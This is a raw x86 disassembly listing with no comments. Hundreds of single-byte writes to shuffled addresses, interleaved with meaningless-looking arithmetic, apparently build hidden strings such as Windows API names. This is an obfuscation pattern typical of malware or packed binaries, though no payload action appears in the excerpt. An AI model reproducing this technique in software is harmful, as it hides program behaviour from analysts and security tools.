mov byte [0x10107ea4], 0x6f
mov byte [0x10107f9f], 0x32
mov byte [0x101077b0], 0x74
mov byte [0x10107c26], 0x65
mov byte [0x1010741e], 0x70
mov byte [0x10107da5], 0x50
mov byte [0x10107d81], 0x47
mov byte [0x10107c35], 0x57
mov byte [0x1010756d], 0x53
mov byte [0x10107b96], 0x6e
mov byte [0x10107667], 0x77
mov byte [0x1010770f], 0x74
mov byte [0x10107dfd], 0x67
mov byte [0x10107674], 0x43
mov byte [0x10107b36], 0x69
mov byte [0x10107a54], 0x74
mov byte [0x101074f5], 0x74
mov byte [0x10107569], 0x46
mov byte [0x10107b0b], 0x72
mov byte [0x10107c4f], 0x74
mov byte [0x1010738b], 0x63
mov byte [0x101075db], 0x64
mov byte [0x1010782d], 0x65
mov byte [0x101079ce], 0
mov byte [0x10107d10], 0x69
mov byte [0x10107a0a], 0x51
mov byte [0x10107bfe], 0x65
mov byte [0x10107f86], 0x6c
mov byte [0x10107b58], 0x64
mov byte [0x10107c8b], 0x64
mov byte [0x10107d8f], 0x65
mov byte [0x10107acc], 0x74
mov byte [0x10107ef7], 0x65
mov byte [0x1010789b], 0x61
mov byte [0x1010782e], 0x74
mov byte [0x101076b4], 0x65
mov byte [0x1010748b], 0x69
mov byte [0x1010786a], 0x75
mov byte [0x10107637], 0x74
mov byte [0x10107fc1], 0x44
mov byte [0x10107904], 0x65
mov byte [0x10107351], 0x65
mov byte [0x10107c07], 0x73
mov byte [0x101075fe], 0x33
mov byte [0x10107641], 0x74
mov byte [0x10107aa8], 0x6e
mov byte [0x101078a2], 0x74
mov byte [0x101077fe], 0x70
mov byte [0x10107404], 0x55
mov byte [0x10107374], 0x63
mov byte [0x10107c1c], 0x6e
mov byte [0x10107842], 0x72
or ecx, ebp
mov byte [0x10107f93], 0x57
mov byte [0x1010734d], 0x6e
mov esi, eax
imul esi, esi, 0xe1edb507
mov byte [0x10108004], 0x6c
mov byte [0x10107e30], 0x65
mov byte [0x10107a5a], 0x79
mov byte [0x10107e9a], 0x65
mov byte [0x10107f6b], 0x2e
mov byte [0x10107a8e], 0x6e
mov byte [0x1010788b], 0x74
mov byte [0x101074dd], 0x72
mov byte [0x10107527], 0x64
mov byte [0x10107434], 0x53
mov byte [0x101073fc], 0x65
mov byte [0x10107345], 0x46
mov byte [0x101073a4], 0x6e
mov byte [0x1010750c], 0x65
mov byte [0x1010774d], 0x6c
mov byte [0x10107778], 0x65
mov byte [0x101077cd], 0x61
mov byte [0x10107411], 0
mov byte [0x1010798f], 0x4d
mov byte [0x101075f5], 0x65
mov byte [0x10107c3c], 0x65
mov byte [0x101077ac], 0x69
mov byte [0x101074f3], 0x70
mov byte [0x10107381], 0x65
mov byte [0x101078af], 0x41
mov byte [0x10107354], 0x43
mov byte [0x101079a5], 0x65
mov byte [0x10107fef], 0x45
mov byte [0x1010780c], 0x46
mov byte [0x10107b29], 0x6e
mov byte [0x10107b67], 0x4d
mov byte [0x101077a9], 0x53
mov byte [0x1010744c], 0x61
mov byte [0x10107528], 0x49
mov byte [0x10107a6a], 0x66
mov byte [0x101077b2], 0x41
mov byte [0x10107558], 0x41
mov byte [0x10107f20], 0x47
mov byte [0x10107c30], 0x73
mov byte [0x101073c7], 0x74
mov byte [0x10107d4b], 0x6f
mov byte [0x10107de8], 0x41
mov byte [0x101073d8], 0x74
mov byte [0x10107a7e], 0x63
mov byte [0x10107627], 0
mov byte [0x10107a83], 0
mov byte [0x101075a0], 0x6c
mov byte [0x101079a9], 0x6f
mov byte [0x10107a00], 0x72
mov byte [0x1010739b], 0x65
mov byte [0x10107924], 0x55
mov byte [0x10107fe1], 0x6c
mov byte [0x101073a7], 0x72
mov byte [0x1010790a], 0x47
mov byte [0x1010740c], 0x72
mov byte [0x1010781e], 0x45
mov byte [0x101074b9], 0x48
mov byte [0x1010778a], 0x4c
mov byte [0x10107c0e], 0x67
mov byte [0x10107766], 0x65
mov byte [0x10107802], 0x68
mov byte [0x10107da0], 0x69
mov byte [0x101077b6], 0x70
mov byte [0x10107808], 0x54
mov byte [0x10107c8d], 0x77
mov byte [0x10107444], 0x64
mov byte [0x10107bac], 0x49
mov byte [0x10107fc8], 0x6c
mov byte [0x10107f6d], 0x6c
mov byte [0x10107cf8], 0x73
mov byte [0x10107619], 0x50
mov byte [0x10107ac6], 0x67
mov byte [0x1010766b], 0x72
mov byte [0x10107f89], 0x50
mov byte [0x101074ed], 0x65
mov byte [0x101075b4], 0x72
mov byte [0x10107cf7], 0x63
mov dword [esp + 0x14], esi
mov byte [0x10107996], 0x61
or edi, 0xb470e841
mov dword [esp + 0x18], edi
xor eax, esi
mov esi, eax
or esi, dword [esp + 0x14]
mov edi, edx
not edi
and edi, ebx
mov ebx, dword [esp + 0x18]
add esi, 0x24d618f5
add edi, esi
add edi, dword [esp + 0x14]
add ebx, ebp
imul edi, ebx
sub dword [esp + 0x18], edi
mov byte [0x10107e99], 0x63
mov byte [0x101073b4], 0x48
mov byte [0x101073ca], 0x65
mov byte [0x10107b12], 0x53
mov byte [0x10107c39], 0x6f
mov byte [0x10107d8e], 0x4d
mov byte [0x101077d3], 0x65
mov byte [0x10107bee], 0x6f
mov byte [0x1010748c], 0x64
mov byte [0x101078d6], 0
mov byte [0x1010784e], 0x57
mov byte [0x10107664], 0x6e
mov byte [0x10107b8b], 0x65
mov byte [0x10107854], 0x74
mov byte [0x10107b11], 0x6c
mov byte [0x10107d4e], 0x64
mov byte [0x101077a4], 0x49
mov byte [0x10107495], 0
mov byte [0x10107382], 0x74
mov byte [0x10107a8f], 0x6d
mov byte [0x10107a7f], 0x74
mov byte [0x10107d0a], 0x72
mov byte [0x101078ae], 0x65
mov byte [0x10107502], 0
mov byte [0x10107610], 0x33
mov byte [0x10107e76], 0x65
mov byte [0x10107a10], 0x65
mov byte [0x10107c27], 0x41
mov byte [0x10107696], 0x4c
mov byte [0x10107b61], 0x64
mov byte [0x10107c23], 0x73
mov byte [0x1010791a], 0x72
mov byte [0x10107ab1], 0
mov byte [0x10107e0a], 0x65
mov byte [0x10107eb1], 0x65
mov byte [0x101075d1], 0x74
mov byte [0x101079df], 0x69
mov byte [0x10107ba0], 0x72
mov byte [0x10107c5a], 0x54
mov byte [0x10107fa5], 0x6c
mov byte [0x10107a63], 0x61
mov byte [0x10107b68], 0x65
mov byte [0x10107546], 0
mov byte [0x10107776], 0x61
mov byte [0x10107d1c], 0x54
mov byte [0x101078e0], 0x44
mov byte [0x10107f10], 0
mov byte [0x101076f9], 0x73
mov byte [0x101075e1], 0x69
mov byte [0x10107d85], 0x61
mov byte [0x10107654], 0x72
mov byte [0x10107b34], 0
mov byte [0x10107f38], 0x72
mov byte [0x101073e4], 0x61
mov byte [0x10107d47], 0x72
mov byte [0x10107387], 0x6f
mov byte [0x101079b1], 0x72
mov byte [0x1010755c], 0x65
mov byte [0x10107421], 0x74
mov byte [0x101076f7], 0x65
mov byte [0x101073a2], 0
mov byte [0x10107b85], 0x4d
mov byte [0x101078e4], 0x63
mov byte [0x10107d13], 0x6f
mov byte [0x10107b80], 0x73
mov byte [0x10107668], 0x73
imul esi, esi, 0x504e8ade
mov edi, 0xc349e32d
sub edi, eax
mov eax, ecx
xor eax, ebp
and edx, esi
mov byte [0x10107f97], 0x4d
mov byte [0x10107dcc], 0x67
mov byte [0x10107f2d], 0x69
mov byte [0x10107b2d], 0x6e
mov byte [0x101074d6], 0x61
mov byte [0x10107bc0], 0x78
mov byte [0x10107b0c], 0x69
mov byte [0x101077f0], 0x73
mov byte [0x101078e2], 0x72
mov byte [0x10107f69], 0x6f
mov byte [0x10107a38], 0x78
mov byte [0x10107539], 0x63
mov byte [0x101075da], 0x6e
mov byte [0x101079e3], 0x69
mov byte [0x10107856], 0x50
mov byte [0x10107810], 0x4e
mov byte [0x10107a5e], 0x47
mov byte [0x10107c76], 0x72
neg eax
mov byte [0x1010774f], 0x7a
mov byte [0x101077ef], 0x61
mov byte [0x10107fb3], 0x6c
mov byte [0x10107799], 0x6e
mov byte [0x10107335], 0x65
mov byte [0x1010786c], 0x74
mov byte [0x101077b9], 0x69
mov byte [0x10107dbc], 0x67
mov byte [0x1010780a], 0x6d
mov byte [0x101075f6], 0x54
mov byte [0x1010791f], 0x57
mov byte [0x1010732f], 0x63
mov byte [0x1010769a], 0x4c
mov byte [0x10107893], 0x47
mov byte [0x10107b7f], 0x6e
mov byte [0x101079be], 0
mov byte [0x10107e21], 0x52
mov byte [0x10107722], 0x65
mov byte [0x10107c44], 0x73
mov byte [0x10107dc4], 0x65
mov byte [0x10107c40], 0
mov byte [0x10107f1f], 0x48
mov byte [0x10107733], 0x65
mov byte [0x101074a9], 0x43
mov byte [0x10107c77], 0x65
mov byte [0x101073cf], 0x71
mov byte [0x10107728], 0x6f
mov byte [0x101074c7], 0x72
mov byte [0x10107957], 0x65
mov byte [0x101076cb], 0x65
mov byte [0x10107389], 0x6e
mov byte [0x10107bf2], 0x6e
mov byte [0x10107f4c], 0x64
mov byte [0x10107b75], 0x73
mov byte [0x10107970], 0x74
mov byte [0x101074bf], 0x41
mov byte [0x101079f1], 0
mov byte [0x101075b5], 0x6f
mov byte [0x10107d4a], 0x72
mov byte [0x101076d7], 0x65
mov byte [0x10107b78], 0x67
mov byte [0x10107608], 0
mov byte [0x101078c5], 0x74
mov byte [0x10107f26], 0
mov byte [0x10107590], 0x6c
mov byte [0x1010788a], 0x65
mov byte [0x10107804], 0
mov byte [0x10107ee1], 0x68
mov byte [0x1010787c], 0x54
mov byte [0x1010733b], 0x6e
mov byte [0x101078d8], 0x65
mov byte [0x101073af], 0x65
mov byte [0x10107eaa], 0x72
mov byte [0x10107ad4], 0x79
mov byte [0x10107dc1], 0x74
mov byte [0x10107c5e], 0x6b
mov esi, edx
or esi, 0x85e7f028
mov dword [esp + 0x14], esi
lea esi, [edi - 0x1e5411a6]
mov byte [0x101078ed], 0x74
mov byte [0x10107c3e], 0x74
mov byte [0x10107376], 0x55
mov byte [0x1010796f], 0x65
mov byte [0x10107857], 0x72
mov byte [0x10107508], 0x57
mov byte [0x101076ba], 0x61
mov byte [0x10107f58], 0x65
mov byte [0x10107c96], 0x62
mov byte [0x10107c91], 0x74
mov byte [0x10107981], 0x6c
mov byte [0x10107d86], 0x72
mov byte [0x101074ba], 0x65
mov byte [0x101075cc], 0x64
mov byte [0x10107fcc], 0x56
mov byte [0x10107342], 0x53
mov byte [0x101078f1], 0x48
mov byte [0x101075cb], 0x6e
mov byte [0x10107a8d], 0x6f
mov byte [0x10107cc5], 0x57
mov byte [0x10107a69], 0x6e
mov byte [0x10107955], 0
mov byte [0x10107bbb], 0x74
mov byte [0x10107467], 0x43
mov byte [0x10107e82], 0
mov byte [0x101076d3], 0x50
mov byte [0x10107e2f], 0x52
mov byte [0x10107df1], 0x79
mov byte [0x10107607], 0x74
mov byte [0x10107cc7], 0x6e
mov dword [0x101062e0], esi
mov byte [0x1010757e], 0x70
mov byte [0x10107b33], 0x41
mov byte [0x10107e02], 0x4b
mov byte [0x10107998], 0x64
mov byte [0x101077f4], 0x74
mov byte [0x10107af7], 0x4d
mov byte [0x1010734f], 0x62
mov byte [0x101074b4], 0x53
mov byte [0x10107fb2], 0x6c
mov byte [0x10107741], 0x63
mov byte [0x10107636], 0x73
mov byte [0x10107fce], 0x50
mov byte [0x10107de1], 0x56
mov byte [0x101074f9], 0x75
mov byte [0x10107944], 0x65
mov byte [0x10107dcb], 0x65
mov byte [0x10107ae6], 0x57
mov byte [0x10107fc0], 0x47
mov byte [0x10107448], 0x6e
mov byte [0x10107962], 0
mov byte [0x10107b41], 0x49
mov byte [0x10107bdf], 0x68
mov byte [0x10107642], 0x53
mov byte [0x10107d53], 0x6f
mov byte [0x10107fd6], 0
mov byte [0x10107442], 0x75
mov byte [0x1010756a], 0x69
mov byte [0x1010742c], 0x55
mov byte [0x101074e5], 0x75
and ecx, 0x3c009020
mov byte [0x1010799c], 0
mov byte [0x101079a7], 0x74
mov byte [0x1010790d], 0x45
mov byte [0x10107f49], 0x69
mov byte [0x10107c1a], 0x57
mov byte [0x10107a52], 0x47
mov byte [0x10107bfa], 0x75
mov byte [0x101076ff], 0x72
mov byte [0x10107e33], 0x65
mov byte [0x10107876], 0x74
mov byte [0x10107dd5], 0x75
mov byte [0x10107f84], 0x64
mov byte [0x10107e04], 0x79
mov byte [0x10107aab], 0x74
mov byte [0x10107a0e], 0x79
mov byte [0x10107ba4], 0x78
or edx, esi
imul edx, edx, 0x26308191
sub edx, 0x6ef1ed64
or edx, ecx
mov ebx, 0x13af74c0
mov esi, ebx
sub esi, edx
mov edx, dword [esp + 0x18]
lea ebp, [eax + edx]
mov edx, 0x8228f8e4
imul ebp, ecx
sub edx, dword [0x101062e0]
mov byte [0x10107634], 0
mov byte [0x10107a50], 0x74
mov byte [0x10107b26], 0
mov byte [0x10107ffa], 0x6b
mov byte [0x10107d25], 0x57
mov byte [0x10107ea0], 0x65
mov byte [0x101073c0], 0x65
mov byte [0x10107b49], 0
mov byte [0x10107a25], 0x65
mov byte [0x10107886], 0
mov byte [0x10107b99], 0x6f
mov byte [0x1010735d], 0x74
mov byte [0x10107af8], 0x61
mov byte [0x10107d16], 0x78
mov byte [0x1010796d], 0x73
mov byte [0x10107bab], 0x70
mov byte [0x1010756f], 0x7a
mov byte [0x10107c3a], 0x77
mov byte [0x101075f4], 0x74
mov byte [0x10107ab6], 0x45
mov byte [0x1010778c], 0x6e
mov byte [0x10107f75], 0x45
mov byte [0x10107ab0], 0x73
mov byte [0x1010794e], 0x6e
mov byte [0x10107749], 0x69
mov byte [0x101078bd], 0x6f
mov byte [0x10107950], 0x69
mov byte [0x10107a9b], 0
mov byte [0x10107bb9], 0x65
mov byte [0x10107b7b], 0
mov byte [0x10107f78], 0x64
mov byte [0x101078e8], 0x79
mov byte [0x10107557], 0x65
mov byte [0x10107baa], 0x75
mov byte [0x10107f7b], 0
mov byte [0x10107f09], 0x66
mov byte [0x101078b9], 0x6e
mov byte [0x10107c0d], 0x61
mov byte [0x101073c5], 0x48
mov byte [0x10107daf], 0x74
mov byte [0x10107c08], 0x74
mov dword [0x10106ae8], edx
mov byte [0x101077c8], 0x41
mov byte [0x10107cdd], 0x4c
mov byte [0x10107978], 0x6c
mov byte [0x10107fc6], 0x64
mov byte [0x10107469], 0x75
mov byte [0x10107688], 0x6f
mov byte [0x10107720], 0x6f
xor edi, 0x9a2911a0
mov byte [0x101079d2], 0x53
mov byte [0x101078ce], 0x73
mov byte [0x10107f00], 0x68
mov byte [0x1010781d], 0x65
mov byte [0x10107767], 0x72
mov byte [0x10107c71], 0x6e
mov byte [0x10107824], 0x69
mov byte [0x10107792], 0x65
mov byte [0x10107963], 0x54
mov byte [0x101079c6], 0x61
mov byte [0x101076ae], 0x65
mov byte [0x101078a5], 0x6d
mov byte [0x10107a94], 0x74
mov byte [0x1010767a], 0x44
mov byte [0x10107d21], 0
mov byte [0x10107cdb], 0x41
mov byte [0x10107ea3], 0x4c
mov byte [0x101078b4], 0x43
mov byte [0x10107b4b], 0x65
mov edx, 0x94415038
sub edx, eax
mov eax, edi
xor eax, dword [0x10106ae8]
mov byte [0x10107ed1], 0x47
sub eax, edi
add eax, 0x371f3190
mov byte [0x10107723], 0x73
mov byte [0x101079bf], 0x47
mov byte [0x10107da8], 0x63
mov byte [0x10107daa], 0
mov byte [0x1010754f], 0x65
mov byte [0x10107714], 0x72
mov byte [0x10107bc7], 0x67
mov byte [0x1010773a], 0x74
mov byte [0x10107c6d], 0x72
mov byte [0x10107d78], 0x69
mov byte [0x101079d0], 0x65
mov byte [0x10107498], 0x74
mov byte [0x10107fe8], 0x2e
mov byte [0x10107a97], 0x6e
mov byte [0x10107bda], 0x73
mov byte [0x10107e9c], 0x73
mov byte [0x10107e5a], 0
mov byte [0x10107f57], 0x72
mov byte [0x1010748e], 0x6f
mov byte [0x10107504], 0x73
mov byte [0x101075b9], 0x64
mov byte [0x10107c78], 0x61
mov byte [0x10107b45], 0x6e
mov byte [0x10107fdd], 0x32
mov byte [0x10107a51], 0
mov byte [0x10107edb], 0x61
mov dword [esp + 0x18], edx
mov byte [0x101078ba], 0x74
mov byte [0x101073ef], 0x6f
mov byte [0x10107e09], 0x52
mov byte [0x101074ad], 0x66
mov byte [0x101075ef], 0
mov byte [0x10107ccd], 0x65
mov byte [0x10107b1f], 0x61
mov byte [0x10107d58], 0x74
mov byte [0x1010795f], 0x72
mov byte [0x10107e0b], 0x67
mov byte [0x101079eb], 0x43
mov byte [0x10107640], 0x65
mov byte [0x10107464], 0x70
mov byte [0x10107916], 0x6e
mov byte [0x10107ff0], 0x41
mov byte [0x10107ac3], 0x72
mov byte [0x10107baf], 0x6e
mov byte [0x1010785a], 0x65
and eax, 0xd99d298e
mov byte [0x10107cfb], 0x65
mov byte [0x10107bd9], 0x69
mov byte [0x10107d94], 0x65
mov byte [0x10107a18], 0x63
mov byte [0x10107d00], 0x64
mov byte [0x10107d82], 0x65
mov byte [0x101079ab], 0
mov byte [0x10107c4a], 0x78
mov byte [0x10107f45], 0x6f
mov byte [0x10107493], 0x67
mov byte [0x10107ba6], 0x4c
mov byte [0x101074e3], 0x6f
mov byte [0x101076ad], 0x72
mov byte [0x10107e5e], 0x6e
mov byte [0x10107c97], 0x6c
mov byte [0x10107726], 0x65
mov byte [0x101079c0], 0x65
mov byte [0x10107a14], 0x72
mov byte [0x10107ad6], 0x65
mov byte [0x101075a4], 0x6c
mov byte [0x10107e70], 0x43
mov byte [0x10107f66], 0x72
mov byte [0x101079f0], 0x65
mov byte [0x101078e1], 0x69
mov byte [0x10107f7a], 0x6c
mov byte [0x1010786b], 0x6c
mov byte [0x10107f1c], 0x6d
mov byte [0x10107df3], 0x6e
mov edx, dword [esp + 0x14]
and esi, ecx
imul esi, ebp
lea edx, [edi + edx + 0x636b6821]
or edx, eax
mov edi, ebx
sub edi, esi
mov esi, dword [esp + 0x18]
sub eax, edx
add eax, dword [esp + 0x14]
or edi, ebx
imul esi, esi
mov byte [0x101077c9], 0
mov byte [0x10107c41], 0x4d
mov byte [0x1010748d], 0x43
mov byte [0x101076fe], 0x69
mov byte [0x10107bb7], 0x69
mov byte [0x10107e41], 0x65
mov byte [0x10107f47], 0x74
mov byte [0x10107e3e], 0
mov byte [0x10107f39], 0x65
mov byte [0x10107b7e], 0x61
mov byte [0x101079b8], 0x70
mov byte [0x10107fb5], 0x55
mov byte [0x101077ec], 0x65
mov byte [0x101079af], 0x70
mov byte [0x10107c73], 0x41
mov byte [0x10107aad], 0x69
mov byte [0x1010781c], 0x6c
mov byte [0x10107e07], 0x57
mov byte [0x101079fb], 0x6f
mov byte [0x101075fc], 0x6c
mov byte [0x10107757], 0x61
mov byte [0x10107d62], 0x75
mov byte [0x10107f34], 0x4f
mov byte [0x10107536], 0x72
mov byte [0x101074a0], 0x65
mov byte [0x1010737f], 0x72
mov byte [0x101076af], 0x73
mov byte [0x1010764a], 0x72
mov byte [0x10107e6f], 0
mov byte [0x10107425], 0x67
mov byte [0x101073b5], 0x74
mov byte [0x101073b0], 0x63
mov byte [0x10107fc3], 0x33
mov byte [0x101078ee], 0x53
mov byte [0x10107e9b], 0x73
mov byte [0x1010762a], 0x65
mov byte [0x10107dbd], 0x43
mov byte [0x1010774c], 0x61
mov byte [0x101074b1], 0x65
mov byte [0x101074ff], 0x6e
mov byte [0x1010768d], 0x72
mov byte [0x1010777a], 0x47
mov byte [0x1010779f], 0x61
mov byte [0x10107c33], 0x65
mov byte [0x10107c20], 0x4d
mov byte [0x10107899], 0x70
mov byte [0x10107b46], 0x64
mov byte [0x101078c1], 0x73
mov byte [0x10107517], 0x41
mov byte [0x10107ce2], 0x75
mov byte [0x10107380], 0x6e
mov byte [0x10107646], 0x65
mov byte [0x101074ef], 0
mov byte [0x10107e20], 0
mov byte [0x1010747b], 0x6f
mov byte [0x1010783a], 0x63
mov byte [0x10107f28], 0x6f
mov byte [0x101074d4], 0x74
mov byte [0x10107ac5], 0x6e
mov byte [0x10107361], 0x53
mov byte [0x10107663], 0x69
mov byte [0x101077d8], 0x61
mov byte [0x1010764e], 0x6f
mov byte [0x10107fbc], 0x64
mov byte [0x1010754c], 0x64
mov byte [0x1010797f], 0
mov byte [0x10107b9e], 0x6f
mov byte [0x10107e05], 0x45
mov byte [0x101077e6], 0x6a
mov ebp, esi
xor ebp, ebx
mov ecx, ebx
sub ecx, ebp
sub ecx, esi
mov byte [0x10107889], 0x6c
mov byte [0x10107709], 0x45
mov byte [0x10107851], 0x72
mov byte [0x1010770d], 0x69
mov byte [0x10107adf], 0x69
mov byte [0x10107c5c], 0x61
mov byte [0x101077d6], 0
mov byte [0x10107fd2], 0x2e
mov byte [0x10107953], 0x65
mov byte [0x10107451], 0x43
mov byte [0x10107fc2], 0x49
mov byte [0x10107a4d], 0x6f
mov byte [0x10107e7e], 0x6e
mov byte [0x101078b8], 0x65
mov byte [0x10107f07], 0x74
mov byte [0x10107d56], 0x47
mov byte [0x1010788e], 0x69
mov byte [0x10107a87], 0x65
mov byte [0x10107ede], 0x57
mov byte [0x10107a30], 0x65
mov byte [0x10107324], 0x6f
mov byte [0x10107975], 0x65
mov byte [0x10107533], 0x6e
mov byte [0x10107a61], 0x53
mov byte [0x1010765c], 0x65
mov byte [0x101073d3], 0x74
mov byte [0x101077a5], 0x73
mov byte [0x10107684], 0
mov byte [0x10107e57], 0x69
mov byte [0x10107ae4], 0x70
mov byte [0x10107c56], 0x50
mov byte [0x101075b8], 0x6f
lea esi, [edx - 0x1a97be1]
mov byte [0x10107b62], 0
mov byte [0x10107549], 0x74
mov byte [0x1010763b], 0x70
mov byte [0x10107c83], 0x75
mov byte [0x1010735f], 0x65
mov byte [0x1010775b], 0x63
mov byte [0x10107928], 0x6e
mov byte [0x10107c74], 0
mov byte [0x10107dfb], 0x52
mov byte [0x10107779], 0
mov byte [0x10107763], 0x74
mov byte [0x1010761b], 0x6f
mov byte [0x10107eaf], 0x65
mov byte [0x10107612], 0x46
mov byte [0x10107d61], 0x6e
mov byte [0x10107563], 0x65
mov byte [0x10107f27], 0x43
mov byte [0x10107aec], 0x70
mov byte [0x10107f44], 0x43
mov byte [0x10107dc3], 0x4b
mov byte [0x10107485], 0
mov byte [0x10107331], 0x65
mov byte [0x10107ce8], 0
mov byte [0x10107d52], 0x64
mov byte [0x10107fb9], 0x33
mov byte [0x10107933], 0x69
mov byte [0x10107def], 0x65
mov byte [0x10107b56], 0x65
mov byte [0x10107d46], 0x6f
mov byte [0x1010771c], 0x61
mov byte [0x101077bc], 0x41
mov byte [0x10107729], 0x72
mov byte [0x10107fba], 0x32
mov byte [0x10107c01], 0x61
mov byte [0x10107601], 0x6e
mov byte [0x101079e5], 0x65
mov byte [0x10107829], 0x6c
mov byte [0x1010749d], 0x50
mov byte [0x10107c99], 0x57
mov byte [0x10107734], 0x61
mov byte [0x1010736c], 0x65
mov byte [0x101078b7], 0x72
mov byte [0x10107fbf], 0
lea ebp, [ecx - 0x13af74c0]
and ecx, ebx
mov dword [esp + 0x18], ebp
mov ebp, ecx
lea ecx, [esi - 0x3fd45006]
or ecx, eax
add ecx, esi
mov eax, ebp
sub eax, edi
mov dword [0x10106ae8], ecx
lea ecx, [edi + eax]
mov ebx, ecx
or ebx, ebp
mov dword [0x101062e4], ebx
mov ebx, esi
or ebx, 0xf537293d
mov dword [esp + 0x14], ebx
mov ebx, edi
and edx, 0xebd43452
or ebx, dword [esp + 0x18]
mov byte [0x101078ab], 0x4e
mov byte [0x101078f2], 0x61
mov byte [0x10107622], 0x4e
mov byte [0x101077e1], 0x67
mov byte [0x10107919], 0x74
mov byte [0x10107898], 0x6d
mov byte [0x10107807], 0x74
mov byte [0x10107dde], 0x53
mov byte [0x10107f33], 0
mov byte [0x1010788d], 0x46
mov byte [0x10107eac], 0x76
mov byte [0x101076bd], 0
mov byte [0x10107fe0], 0x6c
mov byte [0x10107706], 0x6c
mov byte [0x10107bb4], 0x6f
mov byte [0x10107424], 0x6e
mov byte [0x10107449], 0x69
mov byte [0x101074e0], 0x65
mov byte [0x101075be], 0x74
mov byte [0x10107f04], 0x5f
mov byte [0x1010787b], 0x65
mov byte [0x101078d2], 0x49
mov byte [0x1010794f], 0x46
mov byte [0x10107c06], 0x6f
mov byte [0x10107bdb], 0x70
mov byte [0x10107853], 0x61
mov byte [0x10107aa0], 0x6e
mov byte [0x10107980], 0x54
mov byte [0x101077fa], 0x74
mov byte [0x10107dbe], 0x72
mov byte [0x101078f0], 0x64
mov byte [0x10107721], 0x63
mov byte [0x10107ed0], 0x48
mov byte [0x10107d32], 0x65
mov byte [0x10107b9f], 0x75
mov byte [0x10107b55], 0x72
mov byte [0x10107d45], 0x46
mov byte [0x1010772f], 0x65
mov byte [0x10107b21], 0x51
mov byte [0x10107823], 0x72
mov byte [0x10107e1d], 0x4b
mov byte [0x10108003], 0x64
mov byte [0x10107afa], 0x53
mov byte [0x10107a86], 0x65
mov byte [0x10107a3d], 0x6f
mov byte [0x101074d7], 0x73
mov byte [0x10107f74], 0x4e
mov byte [0x101075e3], 0x65
mov byte [0x10107e44], 0x65
mov byte [0x101079ad], 0x65
mov byte [0x10107c92], 0
mov byte [0x101076f4], 0x72
mov byte [0x10107e9e], 0x6f
mov byte [0x10107ed8], 0x65
mov byte [0x1010737a], 0
mov byte [0x10107475], 0x64
mov byte [0x10107b32], 0x78
mov byte [0x10107fe9], 0x64
mov byte [0x101075a5], 0x6f
mov byte [0x101075e2], 0x6c
mov byte [0x10107c4b], 0x57
mov ebp, dword [0x101062e4]
sub ebp, ebx
or ebp, edi
mov edi, dword [0x10106ae8]
add edi, 0x7e7161b0
mov dword [0x101062e4], ebp
mov ebp, dword [esp + 0x14]
imul edi, ebp
add esi, 0x3b41ae99
or edi, esi
and eax, ebx
or edi, ebp
and ecx, eax
mov byte [0x10107f9e], 0x53
mov byte [0x10107983], 0x47
mov byte [0x10107cea], 0x65
mov byte [0x10107bc9], 0x42
mov byte [0x1010765b], 0x6c
mov byte [0x1010734c], 0x45
mov byte [0x10107cd2], 0x65
mov byte [0x101078a1], 0x65
mov byte [0x10107ec2], 0x65
mov byte [0x10107da4], 0x77
mov byte [0x10107d50], 0x69
mov byte [0x10107b22], 0x75
mov byte [0x10107f8d], 0x34
mov byte [0x1010749e], 0
mov byte [0x10107320], 0x55
mov byte [0x10107ab5], 0x65
mov byte [0x10107fbb], 0x2e
mov byte [0x10107d88], 0x6e
mov byte [0x10107450], 0x65
mov byte [0x10107dff], 0x6e
mov byte [0x1010765d], 0x41
mov byte [0x101079aa], 0x6e
mov byte [0x10107e03], 0x65
mov byte [0x10107359], 0x65
mov byte [0x101073a5], 0x74
mov byte [0x10107eee], 0x53
mov byte [0x101077f9], 0x65
mov byte [0x10107471], 0x6e
mov byte [0x1010790c], 0x74
mov byte [0x10107fe3], 0x6f
mov byte [0x101079a6], 0x70
mov byte [0x10107800], 0x61
mov byte [0x1010752d], 0x6d
mov byte [0x10107f5d], 0x6e
mov byte [0x10107559], 0
mov byte [0x10107db4], 0x62
mov byte [0x101078fd], 0x75
mov byte [0x10107ad1], 0x6e
mov byte [0x1010754d], 0x75
mov byte [0x10107ea7], 0x75
mov byte [0x101073d6], 0x49
mov byte [0x101077b1], 0x72
mov byte [0x10107eb2], 0x56
mov byte [0x1010753b], 0x65
mov byte [0x10107f50], 0x65
mov byte [0x10107e9d], 0x54
mov byte [0x10107f77], 0x2e
mov byte [0x10107332], 0x46
mov byte [0x10107673], 0
mov byte [0x10107c84], 0
mov byte [0x1010734b], 0x65
mov byte [0x1010753e], 0x65
mov byte [0x10107931], 0x70
mov byte [0x1010737b], 0x49
mov byte [0x101073c9], 0x53
mov byte [0x10107f23], 0x62
mov byte [0x10107543], 0x65
mov byte [0x10107554], 0x4e
mov byte [0x10107bec], 0x74
mov byte [0x10107894], 0x65
mov byte [0x10107e8a], 0x61
mov byte [0x10107e98], 0x6f
mov byte [0x10107581], 0x6e
mov byte [0x10107a35], 0x6e
mov byte [0x101077c2], 0x46
mov byte [0x1010789e], 0x41
mov byte [0x1010759d], 0x66
lea eax, [edx + esi]
or eax, ebp
imul eax, eax, 0xe8f28f35
mov ebp, eax
sub ebp, esi
mov esi, dword [0x101062e4]
xor ebp, 0x8d57c76
and edx, ebp
and edi, edx
xor ebx, 0xd5c19e9e
imul eax, edi
mov byte [0x10107474], 0x6e
mov byte [0x10107cab], 0x6e
mov byte [0x101073cd], 0x52
mov byte [0x10107eba], 0x64
mov byte [0x101074d0], 0x63
mov byte [0x10107f92], 0
mov byte [0x101078a7], 0x46
mov byte [0x101073c4], 0
mov byte [0x10107ee9], 0x75
mov byte [0x10107984], 0x65
mov byte [0x1010785f], 0x57
mov byte [0x10107926], 0x68
mov byte [0x101075c8], 0
mov byte [0x1010741b], 0x65
mov byte [0x101078c6], 0x4e
mov byte [0x10107c6f], 0x4d
mov byte [0x101077d5], 0x41
mov byte [0x10107fc4], 0x32
mov byte [0x101074c5], 0x56
mov byte [0x10107d26], 0x69
mov byte [0x10107f59], 0x61
mov byte [0x10107fec], 0
mov byte [0x101079de], 0x46
mov byte [0x10107c9a], 0x69
mov byte [0x10107956], 0x53
mov byte [0x101079fe], 0x56
mov byte [0x101075f0], 0x43
mov byte [0x1010746c], 0
mov byte [0x10107ce9], 0x47
mov byte [0x10107c10], 0x41
mov byte [0x10107a92], 0x74
mov byte [0x101076ee], 0x72
mov byte [0x101079d5], 0x74
mov byte [0x10107dc2], 0x65
mov byte [0x101073e1], 0x73
mov byte [0x10107e6d], 0x67
mov byte [0x10107d07], 0x41
mov byte [0x101078e5], 0x74
mov byte [0x1010794c], 0x69
mov byte [0x101077bb], 0x65
